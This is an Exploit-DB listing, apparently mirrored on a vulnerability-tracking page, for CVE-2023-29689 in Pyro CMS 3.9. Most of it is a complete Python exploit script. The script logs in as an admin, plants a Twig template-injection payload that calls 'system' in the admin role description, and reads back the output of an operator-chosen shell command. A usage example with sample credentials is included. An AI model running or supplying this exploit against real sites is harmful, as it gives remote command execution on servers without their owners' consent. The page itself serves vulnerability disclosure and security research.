Lucene search

K
exploitdbDaniel BarrosEDB-ID:51669
HistoryAug 08, 2023 - 12:00 a.m.

Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)

2023-08-0800:00:00
Daniel Barros
www.exploit-db.com
187
pyro cms 3.9
ssti
server-side template injection
authenticated
cve-2023-29689
hakai offensive security
pyrocms
user privilege
command execution

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.6

Confidence

High

EPSS

0.014

Percentile

86.6%

# Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Date: 03/08/2023
# Vendor: https://pyrocms.com/
# Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
# Vulnerable Version(s): 3.9
# CVE: CVE-2023-29689
# Notes: You need a user who has access to /admin privilege

# Example Usage:
# First, run the script: python3 CVE-2023-29689.py
# Please follow these steps:
# 1. Enter the application URL: http://localhost:8000
# 2. Enter the email for authentication: [email protected]
# 3. Enter the password: Admin@@2023
# 4. Enter the command to be executed: id
# Result of command execution:
# uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def login(session, url, email, password):
    login_url = urljoin(url, '/admin/login')
    response = session.get(login_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'email': email,
        'password': password
    }

    session.post(login_url, data=payload)

# Function to edit role 1 and extract the Description of the Admin user.
def edit_role_and_extract_description(session, url, command):
    edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
    response = session.get(edit_role_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'name_en': 'Admin',
        'slug': 'admin',
        'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
        'action': 'save_exit'
    }

    session.post(edit_role_url, data=payload)

    # Extract the updated Description from role 1.
    response = session.get(urljoin(url, '/admin/users/roles'))
    soup = BeautifulSoup(response.content, 'html.parser')
    description = soup.find('td', {'data-title': 'Description'}).text.strip()

    return description
    
def main():
    url = input("Enter the application URL: ")
    email = input("Enter the email for authentication: ")
    password = input("Enter the password : ")
    command = input("Enter the command to be executed: ")

    with requests.Session() as session:
        login(session, url, email, password)
        description = edit_role_and_extract_description(session, url, command)
        print("\nResult of command execution:")
        print(description)

if __name__ == "__main__":
    main()

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.6

Confidence

High

EPSS

0.014

Percentile

86.6%